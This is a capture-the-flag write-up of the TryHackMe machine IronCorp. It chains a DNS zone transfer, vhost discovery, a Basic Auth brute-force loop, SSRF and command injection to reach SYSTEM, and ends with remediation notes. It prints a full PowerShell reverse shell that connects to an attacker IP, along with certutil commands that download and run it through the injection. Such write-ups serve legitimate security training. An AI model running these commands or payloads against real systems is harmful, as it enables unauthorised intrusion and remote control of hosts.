IronCorp — DNS Zone Transfer → SSRF → Command Injection → SYSTEM | TryHackMe
IronCorp is a Windows-based TryHackMe machine that chains together several distinct techniques to ac 2026-5-14 11:23:7 Author: infosecwriteups.com(查看原文) 阅读量:15 收藏

Roshan Rajbanshi

IronCorp is a Windows-based TryHackMe machine that chains together several distinct techniques to achieve SYSTEM-level access without ever exploiting a CVE. The attack path moves through DNS enumeration, vhost discovery, HTTP Basic Auth brute force, server-side request forgery, and finally command injection via a chained internal endpoint. No privilege escalation was needed — initial access landed directly as nt authority\system.

Press enter or click to view image in full size

Difficulty: Hard Platform: TryHackMe OS: Windows Server 2016 (10.0.14393) Techniques: DNS zone transfer, vhost enumeration, HTTP Basic Auth bruteforce, SSRF, command injection

1. Reconnaissance

1.1 Fast Nmap Scan

nmap -Pn -sC -F <TARGET_IP>
PORT     STATE SERVICE
53/tcp open domain
135/tcp open msrpc
3389/tcp open ms-wbt-server
8080/tcp open http-proxy

RDP with NLA enforced (CredSSP required), IIS on 8080, DNS on 53 — DNS zone transfer is the immediate priority, given the ironcorp.me hostname returned.

1.2 Full Port Scan

nmap -Pn -p- --min-rate 3000 <TARGET_IP> -oN ironcorp_fullscan.txt
PORT      STATE SERVICE
53/tcp open domain
135/tcp open msrpc
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
11025/tcp open unknown
49667/tcp open unknown
49670/tcp open unknown

Port 11025 is the standout — an unknown service on a non-standard port warranting immediate version detection.

1.3 Service Version Scan

nmap -Pn -p53,135,3389,8080,11025,49667,49670 -sC -sV <TARGET_IP>

Key results:

8080/tcp  open  http   Microsoft IIS httpd 10.0
Title: Dashtreme Admin - Free Dashboard for Bootstrap 4 by Codervent
11025/tcp open  http   Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.4.4)
Title: Coming Soon - Start Bootstrap Theme
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC

Two separate web stacks on the same machine. IIS on 8080 and Apache + PHP 7.4.4 on 11025. The Apache stack is the more interesting attack surface.

2. DNS Enumeration

2.1 Zone Transfer

dig axfr ironcorp.me @<TARGET_IP>
ironcorp.me.         3600  IN  SOA   win-8vmbkf3g815. hostmaster. 3 900 600 86400 3600
ironcorp.me. 3600 IN NS win-8vmbkf3g815.
admin.ironcorp.me. 3600 IN A 127.0.0.1
internal.ironcorp.me.3600 IN A 127.0.0.1
ironcorp.me. 3600 IN SOA win-8vmbkf3g815. hostmaster. 3 900 600 86400 3600

Press enter or click to view image in full size

Zone transfer succeeded and leaked two internal subdomains: admin.ironcorp.me and internal.ironcorp.me, both resolving to 127.0.0.1. This means neither subdomain is directly reachable from outside — they are loopback-bound services that must be reached through the machine itself, making SSRF an attractive vector later.

2.2 Subdomain Bruteforce

gobuster dns --domain ironcorp.me --resolver <TARGET_IP>:53 \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Press enter or click to view image in full size

Confirmed only the two subdomains from the zone transfer. No additional hidden subdomains.

3. Web Enumeration

3.1 Port 8080 — IIS (Dashtreme Dashboard)

gobuster dir -u http://<TARGET_IP>:8080 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,asp,aspx -t 40
Index.html    (Status: 200) [Size: 20040]
Login.html (Status: 200) [Size: 5025]
assets (Status: 301)
calendar.html (Status: 200)
forms.html (Status: 200)
profile.html (Status: 200)
register.html (Status: 200)

Reviewing the login form source:

curl -s http://<TARGET_IP>:8080/login.html | grep -i "action\|method\|input\|form"

The form has no action attribute and no JavaScript submission handler — it is a pure static HTML template with no backend. The entire IIS site is a decorative Dashtreme freebie. Dead end.

3.2 Port 11025 — Apache + PHP

curl -s http://<TARGET_IP>:11025/ | grep -i "<title>"
<title>Coming Soon - Start Bootstrap Theme</title>

Default vhost serves a static Coming Soon page. Directory enumeration was attempted:

gobuster dir -u http://<TARGET_IP>:11025 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,txt -t 20 --timeout 20s

The scan timed out repeatedly — Apache was rate-limiting or dropping connections on this port under load. Directory enumeration against the default vhost was abandoned in favour of vhost fingerprinting.

3.3 Vhost Fingerprinting

Since both subdomains resolve to loopback, they cannot be reached by DNS. However, Apache routes requests based on the Host header regardless of DNS. Testing each vhost directly against port 11025:

curl -s -H "Host: admin.ironcorp.me" http://<TARGET_IP>:11025/ | grep -i "<title>"
<title>Authentication required!</title>
curl -s -H "Host: internal.ironcorp.me" http://<TARGET_IP>:11025/ | grep -i "<title>"
<title>Access forbidden!</title>

Three completely distinct applications behind one Apache instance:

Default vhost          → Coming Soon (static)
admin.ironcorp.me → HTTP Basic Auth gate (401)
internal.ironcorp.me → IP-restricted (403)

4. Foothold

4.1 HTTP Basic Auth Bruteforce

Checking the auth realm:

curl -sv -H "Host: admin.ironcorp.me" http://<TARGET_IP>:11025/ 2>&1 | grep -i "www-authenticate"
WWW-Authenticate: Basic realm="My Protected Area"

Standard HTTP Basic Auth. Hydra v9.6 has a broken -m flag for custom headers on http-get — It silently ignores the Host header and hits the default vhost, producing false positives (every password appears valid because the Coming Soon page returns 200 unconditionally). The reliable approach is a curl loop that correctly passes the Host header on every attempt:

while IFS= read -r pass; do
result=$(curl -s -o /dev/null -w "%{http_code}" \
-u "admin:$pass" \
-H "Host: admin.ironcorp.me" \
http://<TARGET_IP>:11025/)
echo "Trying admin:$pass → $result"
if [ "$result" == "200" ]; then
echo "[+] FOUND: admin:$pass"
break
fi
done < /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
[+] FOUND: admin:[REDACTED]

4.2 Attacking internal.ironcorp.me — Dead Ends

While the curl loop ran against the admin vhost, the internal.ironcorp.me 403 response was investigated in parallel.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

403 bypass via header spoofing — the internal vhost appeared to restrict access by IP. Standard bypass headers were tested to see if Apache was trusting client-supplied headers:

curl -s -H "Host: internal.ironcorp.me" -H "X-Forwarded-For: 127.0.0.1" \
http://<TARGET_IP>:11025/ | grep -i "<title>"
curl -s -H "Host: internal.ironcorp.me" -H "X-Real-IP: 127.0.0.1" \
http://<TARGET_IP>:11025/ | grep -i "<title>"
curl -s -H "Host: internal.ironcorp.me" -H "Client-IP: 127.0.0.1" \
http://<TARGET_IP>:11025/ | grep -i "<title>"

All three returned Access forbidden! — The server is not trusting any of these headers for access control decisions. Header-based IP spoofing does not work here.

Git repository exposure — directory enumeration on the internal vhost (with 403 responses suppressed) surfaced a .git/logs/ entry:

gobuster dir -u http://<TARGET_IP>:11025 -H "Host: internal.ironcorp.me" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,txt -t 20 --timeout 20s --exclude-length 1072
.git/logs/    (Status: 403) [Size: 1086]

A .git directory on a live web server is a serious misconfiguration — the repository contents can sometimes be reconstructed even without directory listing. git-dumper was used to attempt extraction:

git-dumper "http://<TARGET_IP>:11025/.git/" ./internal_git \
-H "Host=internal.ironcorp.me"
[-] Testing http://<TARGET_IP>:11025/.git/HEAD [403]
[-] responded with status code 403

Individual .git Files are also protected with 403 — the repository is not dumpable from outside. Both avenues exhausted. The internal vhost can only be reached through the machine itself, making SSRF the correct path once admin panel access is obtained.

4.3 Admin Panel Analysis

curl -s -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
http://<TARGET_IP>:11025/ | grep -i "title\|form\|input\|action\|href"

Two key findings in the response:

Finding 1 — Internal endpoint leak:

<b>You can find your name <a href=http://internal.ironcorp.me:11025/name.php?name=>here</a>

Finding 2 — Search panel with r parameter:

<form method="GET" action="#">
<input name="r" type="text" placeholder="******" />
<input type="submit" />
</form>

Press enter or click to view image in full size

The r parameter is masked with asterisks — intentionally obscured. Combined with the leaked internal.ironcorp.me Reference, this strongly suggests the r parameter performs server-side URL fetching.

4.4 SSRF Discovery and Confirmation

Testing r as an SSRF vector with --data-urlencode to avoid URL encoding issues:

curl -s -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test" \
http://<TARGET_IP>:11025/ | grep -A3 "My name"
<b>My name is: </b><pre>
Equinoxtest
</pre>

SSRF confirmed. The r parameter fetches URLs server-side and reflects the response inline. The server can reach internal.ironcorp.me — which is forbidden from outside — through itself. The name parameter is also reflecting input based on a <pre> block.

4.5 Command Injection via SSRF Chain

Testing pipe injection on the name parameter, delivered via SSRF:

curl -s -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test|whoami" \
http://<TARGET_IP>:11025/ | grep -A3 "My name"
<b>My name is: </b><pre>
nt authority\system
</pre>

RCE as nt authority\system. The pipe separator (|) is passed unsanitised to a system call inside name.php. The full chain:

Attacker → SSRF via ?r= → internal.ironcorp.me/name.php → pipe injection → SYSTEM shell

5. Shell Delivery

5.1 Payload Preparation

Direct PowerShell download cradles fail due to special characters ((, ), ') breaking Apache's URL parsing at the SSRF relay layer. The solution is a two-stage approach — download with certutil (no special characters), Then execute separately.

Preparing the PowerShell reverse shell:

cat > /tmp/shell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
EOF

Starting the listener and HTTP server:

# Terminal 1
rlwrap nc -lvnp 4444
# Terminal 2
cd /tmp && python3 -m http.server 8000

5.2 Staging and Execution

Step 1 — Download payload to target via certutil:

curl -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test|certutil+-urlcache+-split+-f+http://<ATTACKER_IP>:8000/shell.ps1+C:\Windows\Temp\s.ps1" \
http://<TARGET_IP>:11025/ 2>&1 | grep -A3 "My name"
My name is:
**** Online ****
0000 ...
01f8

Press enter or click to view image in full size

The HTTP server confirmed the GET request for shell.ps1. File downloaded successfully to C:\Windows\Temp\s.ps1.

Step 2 — Execute the payload:

curl -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test|powershell+C:\Windows\Temp\s.ps1" \
http://<TARGET_IP>:11025/
# Terminal 1
Listening on 0.0.0.0 4444
Connection received on <TARGET_IP> 50151

Press enter or click to view image in full size

Shell caught.

whoami
nt authority\system

7. Remediation Notes

DNS zone transfer unrestricted: The DNS server was configured to allow zone transfers from any host, leaking the full internal zone i, including loopback-bound subdomains. Zone transfers should be restricted to authorised secondary nameservers only, using. allow-transfer ACLs.

Weak HTTP Basic Auth credentials: The admin panel was protected with a trivially guessable password present in common wordlists. Credentials should meet minimum complexity requirements, and rate-limiting lockout policies should be enforced on auth endpoints.

SSRF via unsanitised URL parameter: The r parameter on the admin panel accepted arbitrary URLs and fetched them server-side without validation or allowlisting. The application should implement a strict allowlist of permitted internal endpoints and reject any URL not matching it.

Command injection in name.php: User input was passed unsanitised to a system call. This is the most critical finding. Input should be validated against a strict allowlist of permitted characters, and shell metacharacters should be stripped or escaped before any system call.

Internal vhost exposed via SSRF: The internal.ironcorp.me vhost was protected only by IP-based access control, which was trivially bypassed once SSRF was established. Internal services should not rely solely on network-layer controls — they should implement their own authentication independently.


文章来源: https://infosecwriteups.com/ironcorp-dns-zone-transfer-ssrf-command-injection-system-tryhackme-5187b0987b2f?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh